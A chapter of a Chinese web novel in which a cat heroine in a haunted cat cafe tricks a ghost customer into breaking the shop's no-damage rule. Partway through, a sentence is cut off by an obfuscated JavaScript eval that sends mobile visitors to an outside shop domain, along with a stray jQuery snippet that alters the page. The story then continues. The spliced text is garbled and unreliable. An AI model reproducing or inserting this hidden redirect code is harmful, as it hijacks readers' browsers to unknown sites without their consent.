阮洛白的耳朵向下压了压,尾巴也垂了下来。
不过,她很快就镇定下来。
她特意问过狸花猫,所有鬼在猫之屋里都必须遵守规则,只能利用规则杀人。
长发男再厉害,也不能直接变成鬼把她吃掉。
阮洛白正在想应对方法,身边忽然传来轻轻的脚步声。
“大佬。”逻辑猫来到她身边,压低声音问道,“那个鬼……是不是你昨天说的那个?”
她动了下尾巴表示听到了,顿了顿才想起逻辑猫不懂猫的肢体语言,“嗯”了一声,眼珠一转,在逻辑猫的耳边低声说了几句。
逻辑猫点了点头,转身飞快跑走了。
随后,阮洛白跳到一旁的桌子上,直直迎上长发男的目光。
她缓缓伸起小爪子,弹出尖锐的指甲,对长发男比了个挑衅的手势,带着十足的嚣张。
长发男脸上的笑容凝固了,几乎瞬间就来到了她的面前。
它竟然能在猫之屋里动用鬼力!这完全打破了狸花猫告诉她的规则!
阮洛白的瞳孔瞬间放大,全靠小爪子牢牢抠住桌面,才稳住没有后退。
她强压恐惧,假装毫不畏惧地和长发男对视:“呦,又见面了。”
她指了指桌子上的一杯水:“今天还要让我给你表演倒水吗?”
长发男没有说话,只是饶有兴致地看着她,像在打量一件新鲜的玩具。
阮洛白的心跳得飞快,手心都冒出了汗。
她的计划是故意激怒长发男,让他重提推下杯子的请求,然后让狸花猫埋伏在附近,接住掉下去的杯子。
这样即完成了请求,又没有违反规则。
长发男盯着阮洛白看了一会儿,迟迟没有说话。
阮洛白的心提到了嗓子眼,她的计划不会被看穿了吧?
就在阮洛白快要按耐不住的时候,长发男终于动了。
它修长的手指,缓缓指向那个杯子:“好啊,就请你……”
阮洛白呼吸不自觉地慢了几分,期盼地等待着长发男接下来的话。
长发男勾起唇角,手指突然一转,指向了旁边那张价值不菲的真皮沙发。
阮洛白的脸色一点一点惨白下去,刚刚的得意瞬间被浇灭。
长发男满意地欣赏着她的挫败,弯下腰,凑到她耳边,一字一句地说道:“就请你……把这张沙发抓出一道裂痕来。”
阮洛白的瞳孔骤然放大,爪子下意识地抠住桌面。
她当然知道这意味着什么,昨天他们已经试探出猫之屋的第一条规则:严禁毁坏店内任何财物。
违反者的下场,刚才被拖进超度室的折耳猫就是最好的例子。
“怎么?不敢了?”长发男直起身,脸上的笑意越发病态:“刚才不是还很威风吗?”
它故意顿了顿,压低声音,带着致命的诱惑:“只要你抓一下,就一下,昨天的事,我就既往不咎,不然……”
它的目光缓缓移向站在不远处的云简州,威胁的意味不言而喻。
阮洛白的耳朵猛地向后贴紧,脑子里飞速思考着对策。
直接拒绝?不行,昨天有一个玩家因为拒绝了鬼客人的请求,被凭空出现的黑雾鬼瞬间吞噬。
抓沙发的死角?也不行,执行规则的是无处不在的黑雾鬼,它比店员更严苛,不会放过任何一丝犯规的迹象。
还有什么办法呢?
阮洛白的脑海里飞速闪过早上的画面:狸花猫指认,店员查监控,折耳猫被带走……
想到这里,阮洛白眼睛一亮。
就是这个,她想到唯一可能破解这死局的办法了。
阮洛白紧绷的背脊忽然放松下来,她甚至还晃了晃尾巴,冲长发男吐了吐舌头。
长发男脸上的笑意淡了几分,眼底掠过一丝疑惑。
“好啊。”阮洛白语气干脆,听不出半分勉强,“不就是抓沙发吗?多大点事。”
她轻巧地跳下桌子,一步步走向那张真皮沙发,步伐沉稳,没有丝毫犹豫。
长发男抱着胳膊站在原地,指尖漫不经心地敲着小臂,饶有兴致地看着她。
“你就这么放心我吗?”阮洛白忽然顿住脚步,回头看着它,眼神里充满了挑衅,“不怕我作弊?”
“好啊。”长发男低笑一声,缓缓迈开步子跟上,“既然你这么想让我近距离欣赏你的死状,我当然乐意奉陪,我倒要看看,你这只小猫咪能耍出什么花样。”
阮洛白轻轻勾起嘴角,继续走向那张沙发。
不远处的狸花猫急得直甩尾巴,爪子在地上刨出一道道浅痕,恨不得立刻冲上去把阮洛白叼回来。
逻辑猫也急得团团转,凑在狸花猫的耳边小声哀嚎:“大佬疯了吧!那可是会要命的啊!”
只有云简州站在原地,紧紧盯着阮洛白的背影,尾巴轻轻晃动着,没有丝毫要阻拦的意思,眼底甚至藏着一丝不易察觉的了然。
阮洛白灵巧跳上沙发的椅背,她抬起右爪,锋利的指甲在灯光下闪着寒光,做好了挥下去的准备。
长发男的嘴角勾起一抹满意的弧度:“小猫咪,如果你现在求饶的话,我会考虑放过你哦。”
阮洛白的耳朵动了一下,完全没把长发男的话放进心里。
她才不信鬼会讲什么信用?
要是真的这么好心,就不会对她提出这么歹毒的请求了。
阮洛白的小爪子狠狠挥了下去,就在指甲即将碰到皮革的瞬间,她的身子突然向旁边一歪,像是脚底打滑没站稳,直直地朝着长发男的方向摔了过去。
长发男下意识地伸出手想接住她,但似乎想到什么,又收回了手。
它等着看这只自作聪明的猫摔在地上的狼狈模样。
阮洛白趁着长发男没反应过来,在空中一个翻身借力,瞬间改变方向,跳上了长发男的头顶。
黑色的绒毛遮住了视线,长发男脸色一沉,抬手就想把她从头上扯下,忽然,一滴温热的液体顺着额头淌了下来。
“啊!!!”
长发男脸上的笑第一次真正消失了,身上的阴冷之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633372|206485||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气骤升,整间猫咖都被这股阴气填满。
灯泡滋滋作响,忽明忽暗,所有猫猫都吓得炸了毛,缩在角落里瑟瑟发抖。
长发男抓狂地挥舞着双手,尖锐的指甲在空中划出一道道残影,发誓要把这只胆大包天的黑猫好好揍一顿。
阮洛白感受到危险的气息,借力一个后空翻,稳稳地跳回了沙发上。
长发男的眼睛充血,五指成爪,朝着阮洛白狠狠抓下。
阮洛白的身体贴着沙发靠背,以一个极其刁钻的角度躲开了这致命一击,同时,她的尾巴尖像鞭子一样,抽在长发男的手腕上。
“刺啦。”
一道清晰的皮革撕裂声在猫咖里响起。
长发男的动作僵在半空,理智彻底回笼,它难以置信地看着自己的手,又看了看沙发上那道崭新的划痕。
“好,好,好。”它努力压下胸腔里翻涌的怒火,五指捏得咯吱作响:“我倒要看看你要怎么破解这一局,我等着你向我跪地求饶的那一刻。”
它缓缓收回手,甚至还优雅地整理了一下凌乱的长发,仿佛刚才那个歇斯底里的恶鬼根本不是它。
“请吧。”长发男做出一个请的手势。
“啊?还要我做什么?”阮洛白歪着脑袋,一脸懵懂无辜的表情,“我已经完成你的请求了啊?”
“什么时候?!”长发男的优雅又要差点维持不住,它正要发作,一道沉重的脚步声来到了它的附近。
云简州不知道什么时候悄悄离开,喊来了店员。
阮洛白看到店员后,瞬间想到了一个好主意。
她原地蹦了三尺高,指着长发男大声喊了起来,声音里带着十足的委屈和愤怒,还夹杂着恰到好处的哭腔:“是它!是它把沙发抓破了!”
狸花猫愣了一下,立刻反应过来,扯着嗓子大声喵呜:“对!就是它抓的!我也看见了!它还威胁老大!”
逻辑猫也不管店员能不能听得懂他说话,跟着拼命点头附和:“对对对!我也看见了!它故意抓破沙发想陷害大佬,太坏了!”
店员一步步走了过来,木讷的脸上没有任何表情,但身上散发的寒气却越来越重。
店员先是低头看了看沙发上的划痕,接着,目光落在长发男的手指上。
长发男眼神阴鸷地盯着阮洛白,声音冰冷,“是她故意挑衅我……”
“你胡说!”阮洛白立刻跑到店员身边,用毛茸茸的脑袋蹭了蹭店员的腿,委屈巴巴地抬起自己的爪子,“我根本没有碰沙发,你看我的爪子,干干净净的,一点皮屑都没有。”
她又指向长发男,奶声奶气却字字清晰:“它的指甲上还有呢。”
狸花猫立刻把阮洛白的话翻译给店员。
店员看了看阮洛白干净的爪子,又看了看长发男指尖沾着的黑色皮革碎屑,没有丝毫犹豫,坚定地来到长发男的面前。
店员将一张印有《猫咖顾客须知》的纸,递到长发男面前。
其中一条写着:严禁损坏店内任何财物,违者将受到严厉惩罚。